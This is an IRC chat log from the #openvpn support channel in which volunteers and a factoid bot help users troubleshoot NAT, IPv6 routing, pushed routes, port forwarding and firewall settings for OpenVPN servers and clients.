19:23 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 264 seconds]
19:23 < rabidsnail> savagecroc: man route, look at the examples
19:23 < swiftkey> but i cannot connect to the internet if i get connected to my vpn
19:24 < swiftkey> i already set /etc/resolv.conf to 8.8.8.8
19:27 < swiftkey> http://pastie.org/5686111 does this mean that my vpn is ok ?
19:27 < swiftkey> but i cannot connect to the internet if i get connected to my vpn
19:27 < swiftkey> i already set /etc/resolv.conf to 8.8.8.8
19:29 < ngharo> !linnat
19:29 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
19:29 < ngharo> !1918
19:29 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
19:29 < ngharo> swiftkey: read those
19:30 < ngharo> you should not be using 192.160
19:30 < ngharo> fix that, then configure a NAT
19:31 -!- savagecroc [~grahamsav@207.204.241.202] has joined #openvpn
19:31 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has joined #openvpn
19:31 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has quit [Changing host]
19:31 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
19:31 < savagecroc> ah found out the command
19:31 < savagecroc> route youku.com 255.255.255.0 net_gateway << very nice
19:31 < swiftkey> im not using 192.160
19:31 < swiftkey> its 192.168.
19:32 < swiftkey> hmm let me check
19:32 < swiftkey> thanks ngharo
19:32 < WhoNeedszzz> ngharo, wb
19:32 < ngharo> swiftkey: thats not what your logs say
19:33 < swiftkey> yes my bad
19:33 < swiftkey> thanks for the eyespot
19:33 < swiftkey> erm im new to this thanks for you help :)
19:34 < ngharo> WhoNeedszzz: can you even ping out to ipv6.google.com from your server right now
19:34 < rabidsnail> I'm trying to set up openvpn to only proxy traffic for applications that explicitly want to. I'm trying starting openvpn with no routes (--route-noexec) and explicitly binding to the tun interface, but clients seem to block forever.
19:35 < ngharo> which IPv6 address is valid, you have two that I see
19:35 < rabidsnail> eg: curl --interface tun0 'http://www.ipchicken.com'
19:35 < swiftkey> how to fix NAT ?
19:35 < swiftkey> i guess this is avery lame question
19:35 < swiftkey> but i need to hehe
19:36 < ngharo> see above for an iptables example
19:36 < swiftkey> i turned off iptables
19:36 < ngharo> well you need something to NAT, like iptables
19:37 < WhoNeedszzz> ngharo, yeah i can
19:37 < WhoNeedszzz> ngharo, what should the npd6 prefix be now?
19:37 < swiftkey> let me check again
19:38 < ngharo> WhoNeedszzz: well you said you've been assigned 2600:3c00:e000:0016::/64
19:38 < ngharo> yet i dont see any address configured with that
19:38 < ngharo> so im confused
19:38 < WhoNeedszzz> what do you mean?
19:39 < WhoNeedszzz> It's configured to tun0
19:39 < WhoNeedszzz> it's there what i pasted
19:39 < ngharo> eth0 isnt configured under that subnet
19:39 < swiftkey> im able to chat still but unable to surf
19:39 < swiftkey> i guess its a NAT problem then
19:39 < WhoNeedszzz> it's routed to my other ipv6 address
19:40 < WhoNeedszzz> do i need to also add it to eth0?
19:40 < ngharo> i would
19:40 < ngharo> set npd prefix to 2600:3c00:e000:0016:
19:41 < ngharo> and server-ipv6 in config to server-ipv6 2600:3c00:e000:0016::f/112
19:41 < WhoNeedszzz> ah ok
19:45 -!- b1rkh0ff [~b1rkh0ff@178.77.8.47] has quit [Ping timeout: 255 seconds]
19:45 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has quit [Read error: Connection reset by peer]
19:46 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has joined #openvpn
19:46 < WhoNeedszzz> still no go
19:47 < WhoNeedszzz> does it have anything to do with the MULTI: Bad source address...blah...blah have to do with it?
19:47 < WhoNeedszzz> wow sentence fail
19:48 < WhoNeedszzz> ngharo,
19:48 < ngharo> paste client log, ip -6 a, and ip -6 r
19:49 -!- raidz is now known as raidz_away
19:49 < ngharo> also do you still have ipv6 forwarding enabled
19:49 < ngharo> and proxy_npd
19:49 < ngharo> net.ipv6.conf.all.forwarding=1
19:49 < ngharo> net.ipv6.conf.all.proxy_ndp=1
19:50 < ngharo> (server)
19:53 < WhoNeedszzz> ngharo, https://gist.github.com/f413909536d3a3fdce76
19:53 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has quit [Remote host closed the connection]
19:53 <@vpnHelper> Title: gist:f413909536d3a3fdce76 (at gist.github.com)
19:54 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has joined #openvpn
19:54 < WhoNeedszzz> ngharo, https://gist.github.com/f413909536d3a3fdce76
19:54 <@vpnHelper> Title: gist:f413909536d3a3fdce76 (at gist.github.com)
19:54 < WhoNeedszzz> and yes those sysctl settings are correct
19:56 < ngharo> and npd has the right prefix and was restarted
19:56 < WhoNeedszzz> yes
19:56 -!- b1rkh0ff [~b1rkh0ff@178.77.8.47] has joined #openvpn
19:56 < ngharo> you can ping ip6 client<->server?
19:56 < WhoNeedszzz> yes
19:56 < WhoNeedszzz> both ways
19:57 < WhoNeedszzz> ah wait
19:57 < WhoNeedszzz> the prefix isn't right
19:57 < WhoNeedszzz> i have :16 instead of :0016
19:58 < ngharo> you can omit leading zeros
19:58 < ngharo> should be fine
19:58 < ngharo> tcpdump -i eth0 ip6
19:59 < ngharo> then do ping6 2001:1af8:4400:a049:: from client
19:59 < ngharo> do you see the traffic leaving eth0?
20:00 -!- savagecroc [~grahamsav@207.204.241.202] has quit [Ping timeout: 260 seconds]
20:02 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has quit [Read error: Connection reset by peer]
20:05 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has joined #openvpn
20:05 -!- CrashTM [~CrashTM@cpe-98-144-34-109.wi.res.rr.com] has joined #openvpn
20:05 < WhoNeedszzz> ngharo, the ping6 command you gave gives: "ping6: Source routing is deprecated by RFC5095."
20:05 < CrashTM> how might i forward a port through my openvpn server to the client
20:06 < WhoNeedszzz> but i pinged the server vpn ipv6 address and didn't get any unknown solicitations
20:07 < WhoNeedszzz> it's hard to see what's going on in the dump because i have an ipv6 named server active
20:08 < ngharo> CrashTM: treat it like any other LAN interface
20:08 < CrashTM> >.>
20:08 < ngharo> also, where in WI :)
20:09 < ngharo> i'm just north of Milwaukee
20:09 < CrashTM> the mil
20:09 < ngharo> cool
20:09 < ngharo> I do a security meeting every month on 5th and national
20:09 < CrashTM> cool
20:10 < ngharo> dc414, check it out if you're interested
20:10 < CrashTM> mind giving more info on how i might do that
20:10 < WhoNeedszzz> ngharo, so what am i looking for in the tcpdump?
20:11 < ngharo> WhoNeedszzz: filter by 'icmp6' instead of just 'ip6' then
20:11 < ngharo> well
20:11 -!- gardar [~gardar@gardar.net] has quit [Quit: bye!]
20:11 < ngharo> i'm not sure why ping6 returns that
20:11 < WhoNeedszzz> can i filter out the port?
20:11 < ngharo> i still say assign 2600:3c00:e000:0016::/64 to eth0
20:11 < ngharo> and remove the others
20:11 < ngharo> and make sure you can ping6 google after that
20:12 < ngharo> then try vpn again
20:12 < WhoNeedszzz> well since the /64 is routed to the existing one, won't that screw things up?
20:12 < ngharo> i dunno, i'm too dumb to know that
20:12 < ngharo> CrashTM: http://serverfault.com/questions/140622/how-can-i-port-forward-with-iptables
20:12 <@vpnHelper> Title: linux - How can I port forward with iptables? - Server Fault (at serverfault.com)
20:13 < ngharo> CrashTM: you can assign static IPs to client with ccd entries
20:13 < ngharo> !ccd
20:13 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
20:13 -!- gardar [~gardar@gardar.net] has joined #openvpn
20:14 < ngharo> WhoNeedszzz: maybe just assign that address in addition to what you have now
20:18 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has quit [Quit: Leaving]
20:19 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has joined #openvpn
20:19 -!- Castorrr [Castor_@CPE-72-133-200-232.wi.res.rr.com] has joined #openvpn
20:19 < WhoNeedszzz> ngharo, hmm nothing is coming up in tcpdump when i ping it
20:20 < WhoNeedszzz> other than IP6 fe80::ca4c:75ff:fef5:c4ff > whirlpool: ICMP6, neighbor solicitation, who has whirlpool, length 32
20:20 < WhoNeedszzz> and i'm constantly getting pinged by 2001:1af8:4400:a049::100f
20:20 < ngharo> yea thats me trying to hit your client
20:21 < WhoNeedszzz> ok
20:21 < WhoNeedszzz> thought so
20:21 < ngharo> so thats good you're receiving it
20:21 < ngharo> but the tun0<->eth0 is busted
20:21 < WhoNeedszzz> also getting IP6 whirlpool > fe80::1: ICMP6, neighbor solicitation, who has fe80::1, length 32
20:21 < ngharo> is it your god damned firewall again? :)
20:22 < WhoNeedszzz> haven't touched the fw
20:22 < ngharo> do you log drops?
20:22 < ngharo> check to make sure
20:22 < WhoNeedszzz> before i just had a typo of icmpv6-type 8 when it should have been 128
20:22 < WhoNeedszzz> how to check that?
20:23 < ngharo> it's your firewall man :)
20:23 < ngharo> syslog?
20:23 < WhoNeedszzz> i'm getting request and reply from you
20:24 < ngharo> yeah to ::10 works
20:24 < ngharo> ::100f does not reply
20:24 < WhoNeedszzz> i use systemd so i guess journalctl
20:24 < WhoNeedszzz> well it's down now
20:24 < WhoNeedszzz> i can be on irc while it's on
20:24 < WhoNeedszzz> it makes my whole connection screw up
20:24 < WhoNeedszzz> can't*
20:25 < ngharo> you could comment the ipv4 redirect gateway
20:25 < ngharo> probably whats doing it
20:25 < ngharo> while testing
20:27 < WhoNeedszzz> ok yeah now it's not destroying my connection
20:27 < WhoNeedszzz> it's live now
20:27 < WhoNeedszzz> but can you still reach me when i'm not redirecting?
20:28 < CrashTM> ngharo
20:28 < CrashTM> hmm
20:28 < ngharo> that line has nothing to dowith ipv6
20:28 < CrashTM> seems like it is not working
20:29 < WhoNeedszzz> so i should be able to ping6 ipv6.google.com when that is commented?
20:29 < ngharo> WhoNeedszzz: yes idealy
20:29 < WhoNeedszzz> i thought that was the whole point was that i need to redirect to get access
20:29 < WhoNeedszzz> i don't have ipv6 here
20:30 < ngharo> the 2000::/3 is your ipv6 "default" route
20:30 < ngharo> redirect-gateway is ipv4
20:32 < WhoNeedszzz> oh
20:32 < ngharo> WhoNeedszzz: canyou ping6 2600:3c00::21:7d0c from your client?
20:32 < WhoNeedszzz> lol
20:32 < WhoNeedszzz> yeah
20:32 < WhoNeedszzz> is ipv6.google.com down?
20:33 < ngharo> lol no
20:33 < ngharo> WhoNeedszzz: but ping6 ngha.ro throws that source routing error?
20:34 < WhoNeedszzz> no now it just hangs
20:34 < ngharo> same with 2001:1af8:4400:a049::
20:34 < ngharo> ?
20:35 < WhoNeedszzz> yeah
20:35 < WhoNeedszzz> no error now
20:35 < WhoNeedszzz> just hangs
20:36 < ngharo> yeah i dunno
20:36 < ngharo> gather your details and ask in #ipv6
20:36 < ngharo> you can ping across the vpn
20:36 < ngharo> the problem is outside openvpn
20:37 < ngharo> CrashTM: google iptables port forwarding gives you hundreds of examples, take your pick
20:37 < WhoNeedszzz> when pinging you and running tcpdump i just get: "IP6 whirlpool > fe80::1: ICMP6, neighbor solicitation, who has fe80::1, length 32"
20:39 < ngharo> fe80::1 is your gateway?
20:39 < WhoNeedszzz> yes
20:40 < WhoNeedszzz> here is tcpdump running for a while: https://gist.github.com/9ebf0c6793d3c6fa3c8d
20:40 <@vpnHelper> Title: gist:9ebf0c6793d3c6fa3c8d (at gist.github.com)
20:45 < WhoNeedszzz> ngharo,?
20:48 -!- corretico [~luis@190.211.93.38] has quit [Ping timeout: 272 seconds]
20:48 < WhoNeedszzz> ngharo, are you sure it's not related to me seeing this?: MULTI: bad source address from client [192.168.1.9], packet dropped
20:50 < WhoNeedszzz> nvm i'm not actually getting that anymore
20:52 < WhoNeedszzz> according to linode it is my firewall
20:52 < WhoNeedszzz> they say the FORWARD chain needs to be ACCEPT or have rules to forward between eth0 and tun0
20:53 -!- corretico [~luis@190.211.93.38] has joined #openvpn
20:54 -!- corretico [~luis@190.211.93.38] has quit [Max SendQ exceeded]
20:55 < WhoNeedszzz> yep that's it alright
20:55 < WhoNeedszzz> hmm odd i don't remember allowing it to be accept before
20:55 -!- corretico [~luis@190.211.93.38] has joined #openvpn
20:56 < WhoNeedszzz> and ok so if that works without the redirect-gateway what is the benefit of that?
20:57 -!- corretico [~luis@190.211.93.38] has quit [Max SendQ exceeded]
20:57 < ngharo> ip4 traffic
20:57 -!- corretico [~luis@190.211.93.38] has joined #openvpn
20:57 < WhoNeedszzz> why would you want to route ip4 traffic?
20:58 < WhoNeedszzz> for encrypting traffic?
20:58 < ngharo> to your server, yes
20:59 < WhoNeedszzz> You paranoid? :p
20:59 < WhoNeedszzz> What would be the benefit of that?
21:02 < ngharo> for me my traffic is encrypted until it goes overseas
21:02 < ngharo> which I like
21:02 -!- zz_AsadH is now known as AsadH
21:03 -!- AsadH [~AsadH@unaffiliated/asadh] has left #openvpn []
21:04 -!- crazyhorse [~grahamsav@207.204.241.202] has joined #openvpn
21:04 < crazyhorse> any idea how i can push all traffic from a particular application over normal internet and not the VPN?
21:05 < ngharo> do you know the host the application contacts?
21:06 < crazyhorse> nah it's random hosts
21:06 < crazyhorse> utorrent
21:06 < crazyhorse> utorrent supports socks/http proxy
21:06 < crazyhorse> but i don't know if that helps
21:07 < WhoNeedszzz> ngharo, why does it not stay encrypted?
21:07 < crazyhorse> vpn has limited bandwidth
21:07 < crazyhorse> so i just want to run it over the normal internets
21:08 < ngharo> WhoNeedszzz: it gets decrypted once it reaches my server
21:08 < ngharo> WhoNeedszzz: as does your ipv6 traffic now
21:09 < WhoNeedszzz> anyway i can make it stay encrypted?
21:09 < ngharo> no, the public internet doesnt know how to decrypt your stream
21:10 < ngharo> that would defeat the purpose
21:10 < WhoNeedszzz> right ok
21:11 < WhoNeedszzz> so currently if someone were snooping on my traffic they can't see my ipv6 traffic, correct?
21:11 < WhoNeedszzz> snooping on the client
21:11 < ngharo> they cant see anything between client and server
21:11 < ngharo> except a bunch of garbage
21:11 < WhoNeedszzz> So if i redirect my ipv4 traffic  my ISP can't snoop on me, right?
21:11 < ngharo> correct
21:12 < WhoNeedszzz> great
21:12 < WhoNeedszzz> i'll re-enable that then
21:12 < ngharo> your server's ISP still can though
21:12 < WhoNeedszzz> right
21:12 < WhoNeedszzz> they won't though
21:12 < ngharo> of course they wont :)
21:12 < WhoNeedszzz> i'm just trying to make my torrenting traffic encrypted :)
21:13 < ngharo> if ya got a server, why not torrent there?
21:13 < WhoNeedszzz> i tried just using encryption in the torrent client, but a lot of people can't be reached when i do that
21:13 < ngharo> rtorrent + rutorrent client = win
21:13 < WhoNeedszzz> then i would have to download to my server then upload to my client
21:13 < WhoNeedszzz> that would use my bandwidth
21:13 < WhoNeedszzz> i run a Tier 2 DNS server
21:14 < WhoNeedszzz> already get a lot of traffic
21:14 -!- crazyhorse [~grahamsav@207.204.241.202] has quit [Ping timeout: 255 seconds]
21:14 < ngharo> you're still using the same traffic doing it from client
21:14 < ngharo> but whatevs, either or
21:14 < WhoNeedszzz> oh ha you're right
21:14 < ngharo> i just prefer to do it on server for 100mbit action
21:14 < WhoNeedszzz> didn't think about it that way
21:20 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has quit [Disconnected by services]
21:21 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has joined #openvpn
21:21 < WhoNeedszzz> hmm restarting the vpn messes up my irc connection
21:21 < WhoNeedszzz> but at least it's working now
21:21 < WhoNeedszzz> Thanks for the help
21:58 -!- WhoNeedszzz [~WhoNeedsz@opennic/WNz] has left #openvpn ["Leaving"]
22:32 -!- rabidsnail [~rabidsnai@unaffiliated/cmdrbatguano] has quit [Quit: rabidsnail]
22:35 -!- blackness [black@2001:470:8cf8::9] has quit [Read error: Connection reset by peer]
22:45 -!- elc0 [~andy@c-71-205-251-207.hsd1.mi.comcast.net] has joined #openvpn
22:45 -!- HyperGlide [~HyperGlid@182.149.53.195] has quit [Remote host closed the connection]
22:46 < elc0> !welcome
22:46 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
22:46 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
22:46 < elc0> !ip forward
22:48 < elc0> !nat
22:48 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
22:53 -!- zeeshoem [~zee@198-84-231-11.cpe.teksavvy.com] has quit []
22:54 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
22:58 -!- elc0 [~andy@c-71-205-251-207.hsd1.mi.comcast.net] has quit [Ping timeout: 245 seconds]
23:14 -!- bigmeow [~mirror@184.82.217.174] has quit [Ping timeout: 276 seconds]
23:15 -!- bigmeow [~mirror@184.82.217.174] has joined #openvpn
23:52 < mnathani> How can I use the windows openvpn client with my opensource / (Non-Access Server version of Openvpn) Not sure how to create an openvpn profile
--- Day changed Tue Jan 15 2013
00:08 -!- CrashTM [~CrashTM@cpe-98-144-34-109.wi.res.rr.com] has quit [Quit: Leaving]
00:15 < ngharo> !sample
00:15 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
00:15 < ngharo> start there, name it .ovpn and go
00:16 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 248 seconds]
00:32 < mnathani> Thanks ngharo
00:38 -!- swat [~swat@ubuntu/member/swat] has joined #openvpn
01:19 <+pekster> dazo_afk: Okay, that was the info I needed. Maybe 2.3.0 wasn't built with this commit then? Because the installation leaves out the utility scripts by default unless a user manually re-installs the tap-windows.exe with the utilities selected. https://github.com/OpenVPN/openvpn-build/commit/95df0695e2106c17dcbb55b661c5669b953b1a6c
01:19 <@vpnHelper> Title: windows-nsis: install tap utilities · 95df069 · OpenVPN/openvpn-build · GitHub (at github.com)
01:24 <+pekster> Oh, I think I found the problem (the installer section isn't named the same in the tap-windows project as it is in openvpn-build's nsis script. I'll verify the cause and send in a patch to correct
01:29 <+pekster> Or, too soon; there's macro magic that's supposed to make it work. I guess I'll dig further to see if the build lacks the right commits from master and see what I find
01:41 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
01:55 -!- Orbi [~opera@109.129.15.71] has joined #openvpn
01:57 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
02:00 -!- Orbi [~opera@109.129.15.71] has quit [Ping timeout: 245 seconds]
02:03 -!- Orbi [~opera@anon-149-134.vpn.ipredator.se] has joined #openvpn
02:09 -!- Orbi [~opera@anon-149-134.vpn.ipredator.se] has quit [Ping timeout: 245 seconds]
02:14 -!- oskie_ is now known as oskie
02:16 -!- Orbi [~opera@anon-185-43.vpn.ipredator.se] has joined #openvpn
02:21 -!- Azrael808 [~peter@212.161.9.162] has quit [Quit: Ex-Chat]
02:31 < Orbi> I removed "writepid /var/run/openvpncl.pid" from the config and the errors "Initialization Sequence Completed": write UDPv4 [EMSGSIZE Path-MTU=1492]: Message too long (code=97)" dissapeared
02:31 < Orbi> Somebody understand the link if there is one?
02:44 -!- blackness [black@2001:470:8cf8::9] has joined #openvpn
02:44 < blackness> !openvz
02:44 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg Xen.
03:01 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
03:06 -!- NChief [tomme@unaffiliated/nchief] has quit [Ping timeout: 264 seconds]
03:08 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
03:30 -!- blackness [black@2001:470:8cf8::9] has quit [Ping timeout: 252 seconds]
03:40 -!- brute11k [~brute11k@89.249.235.236] has joined #openvpn
03:49 -!- a_ [~d@64.111.123.163] has quit [Quit: Reconnecting]
03:49 -!- catsup [~d@64.111.123.163] has joined #openvpn
03:54 -!- d12fk [~heiko@exit0.net] has joined #openvpn
04:06 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
04:06 -!- Azrael808 [~peter@212.161.9.162] has quit [Client Quit]
04:08 -!- Orbi [~opera@anon-185-43.vpn.ipredator.se] has quit [Read error: Connection reset by peer]
04:08 -!- Orbi [~opera@anon-185-43.vpn.ipredator.se] has joined #openvpn
04:25 -!- Orbi [~opera@anon-185-43.vpn.ipredator.se] has quit [Ping timeout: 245 seconds]
04:27 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has joined #openvpn
04:28 < fu_fu> morning
04:31 < fu_fu> got a problem: after several hours of use the tunnel seems to go half-down. ping from the server does not return, ping from the client returns normally. when i reload the service on client, pings resume normally. (Windows to windows)
04:31 < fu_fu> the problem last occurred after the hourly rekey
04:33 <+pekster> Sounds like a firewall problem on the client. You're talking about an ICMP ping, right? Not OpenVPN's control-channel --ping option?
04:34 < fu_fu> yes correct, ping is just the symptom, other data does not flow also
04:34 < fu_fu> how does a firewall issue behave intermittently?
04:34 <+pekster> The reply ping is itself tunneled data. The fact that you get a reply means the tunnel is working
04:34 < fu_fu> only one way
04:35 <+pekster> No, both ways, otherwise you wouldn't get the ICMP echo-response
04:35 < fu_fu> ok, so only from one source then
04:35 < fu_fu> the server >client does not function after hours of use
04:35 < fu_fu> ceases to function
04:36 <+pekster> Sorry, that's pattently incorrect. How do you think the "ping" gets back to the client?
04:36 <+pekster> tcpdump the tun interface on the client if you don't believe me
04:36 <+pekster> You'll see an ICMP echo-request packet go from client -> server, then a reply ICMP echo-reply packet from server -> client
04:37 <+pekster> If you don't see that, then you wouldn't get a response in your command window on the ping
04:37 < fu_fu> ok, why wont ping work until i restart the service
04:37 <+pekster> You just said it did work when initiated from the client, right?
04:37 < fu_fu> yes, not from the server thus half-down
04:38 <+pekster> You're not getting it. This isn't an openvpn problem, becuase the tunnel isn't what's "half down"
04:38 <+pekster> The tunnel is working just fine since the reply traaffic comes *back* to the client. Do you understand why this demonstrates that the server can reach the client across the VPN tunnel?
04:39 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has quit [Read error: Connection timed out]
04:39 <+pekster> If you want, increase the verbosity of both client & server to 'verb 5' in the ovpn configuration and see if anything odd appears when this happens. Otherwise, look at your OS-level configuration to fix the reason your server apparently replies selectively in a way you don't like
04:40 < fu_fu> i have verb level 5 set
04:40 <+pekster> The server has to *SEND* the ICMP echo-reply packet
04:40 <+pekster> You see? That pakcet *does* get back to the client. It's just a normal IP packet like any other IP traffic
04:40 < fu_fu> there is no rw after the rekey
04:41 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has joined #openvpn
04:42 < fu_fu> so why doesnt the log reflect the client origin pings?
04:47 <+pekster> No clue. When I use verb5 and ping across thee tunnel, I get this in my server logs:
04:47 <+pekster> WRwrWRwr
04:47 < fu_fu> me too, until the problem happens
04:47 <+pekster> But you're getting replies?
04:47 <+pekster> Specifically, something like this:
04:47 <+pekster> Pinging 10.123.123.1 from 10.123.123.100 with 32 bytes of data:
04:47 <+pekster> Reply from 10.123.123.1: bytes=32 time=3ms TTL=128
04:48 <+pekster> If you get a reply, the traffic is coming back to you (obviously.) You can't say  you're not getting traffic across the tunnel when you have evidence that you are
04:48 -!- genghi1 [~Adium@p5089BF98.dip.t-dialin.net] has joined #openvpn
04:52 < fu_fu> i am only getting replies form one side, and oly after several hours of proper operation
04:53 -!- Minnebo [~Minnebo@office.exabyte.be] has joined #openvpn
04:53 < Minnebo> Hello, i'm openvpn noob!
04:53 < Minnebo> I managed to get it working
04:54 < fu_fu> the client log shows no rw after the rekey
04:54 < Minnebo> I can ping to my server, but i cannot access files
04:58 <+pekster> fu_fu: Can you post your server config file? Maybe you're specifying some option that re-runs on a rekey that's causing you issues; I doubt it, but I can take a glance anyway
04:59 -!- blackness- [black@199.175.53.115] has joined #openvpn
04:59 < blackness-> Is it possible to listen :113 on a OpenVPN HOST and OpenVPN client?
04:59 < Minnebo> I can access it thourgh its 10.0.8.1 adress
04:59 < Minnebo> :w
05:00 < fu_fu> ok
05:00 <+pekster> Minnebo: ping the VPN endpoint? Then how are you trying to access files? Use the VPN IP to reach that server, unless you're also pushing additional routes
05:00 < blackness-> Like, The OpenVPN client has working ident, and the OpenVPN HOST has working ident.
05:01 < Minnebo> pekster, well I can ping to the server on 192.168.100.1 but when I do \\192.168.100.1 it says no access. When i go \\10.0.8.1 is see all the shares. What do I need to configure to get \\192.168.100.1 working?
05:04 <+pekster> holmen: I'm going to bring the conversation back here since, at least for now, I don't need to reference your configs anymore that you don't want shared. Since you have multiple routing tables, you somehow need to add the route for the VPN peer to go out via tap0
05:04 <+pekster> holmen: You might just need to specify a /32 route using the $route_vpn_gateway and $ifconfig_local options, since you really just need a route to the $route_vpn_gateway for your two /1 routes to work (rememger, those are there eto emulate the behaviour of 'redirect-gateway' as required for your 2nd routing table
05:05 <+pekster> Minnebo: The VPN server is alive at both those IPs?
05:05 < Minnebo> yes
05:05 <+pekster> Are you pushing a route for that IP then across the VPN tunnel? Otherwise, maybe that IP is just responding from something else on the client's local network
05:05 < Minnebo> The vpn server runs on the 192.168.100.1
05:06 < Minnebo> and the 10.0.8.1 is the virtual ip
05:06 < Minnebo> our local network is 111
05:06 < Minnebo> but you might be correct
05:07 < Minnebo> i might just change these virtual ip's
05:07 < Minnebo> and give this dhcp 5 adresses
05:07 < Minnebo> then I wont have the problem
05:08 -!- Orbi [~opera@anon-186-110.vpn.ipredator.se] has joined #openvpn
05:08 <+pekster> Minnebo: TO access a LAN address like that, you need to push a route to it to the VPN client
05:08 <+pekster> Otherwise the client has no way to know that traffic for 192.168.100.x is supposed to go across the tunnel
05:08 <+pekster> Have you pushed such a route?
05:09 < Minnebo> no
05:09 < Minnebo> its default
05:09 <+pekster> Then this is why it doesn't wnork
05:09 < Minnebo> config
05:09 <+pekster> It's just chanace that you get a reply from some "other" 192.168.100.1 on your client's upstream netwnork
05:09 < Minnebo> k
05:09 < Minnebo> how does the push thing look like?
05:10 < Minnebo> push "route 192.168.100.0 255.255.255.0"
05:10 < Minnebo> ?
05:10 <+pekster> Yup
05:10 < blackness-> Yep.
05:10 < Minnebo> k
05:10 <+pekster> The client will send that to the client and the client will get a route added on connect that sends traffic for that netework via the VPN server
05:10 < blackness-> thanks again pekster for all your help. :)
05:10 <+pekster> The server will send*
05:11 <+pekster> Sure
05:11 < blackness-> Feel like helping me with my little problem?
05:11 <+pekster> You can't have "both" servers respond to a port, no
05:12 <+pekster> When you deal with private addresses, your internal LAN doesn't actually exist according to the Internet
05:12 <+pekster> A port is a port. You can't subdivide it further
05:13 < blackness-> what about having it triggered by source_address and respond back to that source?
05:13 < blackness-> just curious is all..
05:13 < fu_fu> afk
05:14 < Minnebo> 192.168.100.0    255.255.255.0         10.8.0.5         10.8.0.6     30 I see this in my route print but still no go, perhaps a firewall rule?
05:15 < Minnebo> and can't ping anymore :D
05:15 <+pekster> blackness-: huh? How do you expect to know "which" private host an external client wants to send a packet for based on its source address?
05:15 <+pekster> THat doesn't even make any sense
05:16 < fu_fu> bk
05:16 <+pekster> Minnebo: It could be; that depends on how your firewall is set up
05:16 <+pekster> See the note in the /topic (often people's probelms are caused by firewalls
05:16 < Minnebo> ty
05:17 < Minnebo> !welcome
05:17 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
05:17 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
05:17 <+pekster> Remember to look at it knowing that the source IP will be the VPN address and the destination IP will be 192.168.100.1
05:17 <+pekster> Also, if you're exposing the entire server-side LAN like that, also see:
05:18 <+pekster> !serverlan
05:18 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
05:18 <+pekster> The route you pushed is a whole /24, not just a single host
05:18 < Minnebo> yes
